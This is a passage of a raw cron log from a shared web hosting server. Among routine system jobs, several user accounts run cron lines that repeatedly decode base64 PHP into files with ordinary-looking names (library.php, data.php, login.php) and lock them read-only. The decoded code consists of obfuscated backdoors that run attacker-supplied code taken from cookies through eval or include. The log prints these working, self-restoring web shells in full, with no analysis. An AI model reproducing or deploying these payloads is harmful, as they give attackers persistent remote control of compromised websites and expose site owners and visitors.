"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:50:01 medusa CROND[32439]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:50:01 medusa CROND[32437]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 06:50:01 medusa CROND[32438]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 06:50:01 medusa CROND[32435]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 06:51:01 medusa CROND[17283]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 06:51:01 medusa CROND[17289]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:51:01 medusa CROND[17385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:51:01 medusa CROND[17512]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:51:01 medusa CROND[17514]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 06:51:01 medusa CROND[17515]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:51:01 medusa CROND[17519]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:51:01 medusa CROND[17520]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:51:01 medusa CROND[17516]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:51:01 medusa CROND[17540]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:51:01 medusa CROND[17541]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 06:51:01 medusa CROND[17542]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 06:51:01 medusa CROND[17543]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:51:01 medusa CROND[17547]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:51:01 medusa CROND[17548]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:52:01 medusa CROND[4116]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 06:52:01 medusa CROND[4133]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:52:02 medusa CROND[4387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:52:02 medusa CROND[4386]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:52:02 medusa CROND[4388]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:52:02 medusa CROND[4391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:52:02 medusa CROND[4393]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:52:02 medusa CROND[4399]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
